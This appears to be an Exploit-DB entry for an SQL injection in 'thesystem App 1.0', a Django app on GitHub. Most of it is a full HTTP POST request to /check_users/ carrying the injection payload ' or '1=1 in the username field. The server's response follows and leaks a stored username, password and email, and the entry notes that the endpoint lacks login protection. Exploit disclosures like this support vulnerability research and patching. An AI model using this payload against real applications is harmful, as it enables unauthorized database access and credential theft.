thesystem App 1.0 - 'username' SQL Injection

EDB-ID:
47432

CVE:
N/A

EDB Verified: ×

Author:
ANIL BARAN YELKEN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-09-27

Vulnerable App:

```
# Exploit Title: thesystem App 1.0 - 'username' SQL Injection
# Author: Anıl Baran Yelken
# Discovery Date: 2019-09-26
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
# Software Link: https://github.com/kostasmitroglou/thesystem
# Tested Version: 1.0
# Tested on OS: Windows 10
# CVE: N/A
# Description:
# Simple SQL injection after login bypass(login_required didn't used)

POST /check_users/ HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)
Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------
-54363239114604
Content-Length: 327
Connection: close
Referer: http://127.0.0.1:8000/check_users/
Cookie:
csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6;
_ga=GA1.4.567905900.1569231977
Upgrade-Insecure-Requests: 1
-----------------------------54363239114604
Content-Disposition: form-data; name="csrfmiddlewaretoken"
lZVnIo12dzwRuJbCXjjr7cVAQKa4qwhBwdk85Uq4aHpWdqtNTP2rCZB8pmU1uQjj
-----------------------------54363239114604
Content-Disposition: form-data; name="username"
' or '1=1
-----------------------------54363239114604--

HTTP/1.1 200 OK
Date: Thu, 26 Sep 2019 12:40:24 GMT
Server: WSGIServer/0.2 CPython/3.5.3
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 34
User:('test', '1234', 'test@test')
```

Tags:

Advisory/Source: Link